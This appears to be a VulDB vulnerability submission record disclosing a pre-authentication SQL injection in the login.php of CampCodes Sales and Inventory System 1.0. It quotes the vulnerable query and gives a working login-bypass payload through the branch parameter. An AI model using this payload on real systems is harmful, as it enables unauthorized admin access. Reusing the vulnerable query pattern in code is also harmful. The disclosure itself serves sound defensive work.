| Título | CampCodes Complete Sales and Inventory System with Credit Management 1.0 SQL Injection |
|---|
| Descripción | Pre-authentication SQL injection in login.php. POST parameters username and password pass through mysqli_real_escape_string(), but branch is interpolated directly: $query=mysqli_query($con,"select * from user natural join branch where username='$user' and password='$pass' and branch_id='$branch' and status='active'"). Payload username=admin&password=WRONGPASSWORD&branch=x' OR '1'='1&login=1 logs in as admin with any password (verified: session returns HTTP 200 on protected /pages/home.php).
Affected file: /ahira/login.php
Affected parameter: branch (POST)
Vulnerability class: SQL Injection (CWE-89)
CVSS 3.1: 8.6 High. Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Researcher: Santhosh Kumar, TraceX Labs. Contact: [email protected] |
|---|
| Fuente | ⚠️ https://tracexlabs.com/releases/campcodes-complete-sales-and-inventory-system-login-sqli.html |
|---|
| Usuario | SanthoshKumar (UID 101638) |
|---|
| Sumisión | 2026-10-12 07:49 (hace 24 días) |
|---|
| Moderación | 2026-11-04 16:59 (23 days later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 431128 [Campcodes Complete Sales and Inventory System with Credit Management /ahira/login.php inyección SQL] |
|---|
| Puntos | 20 |
|---|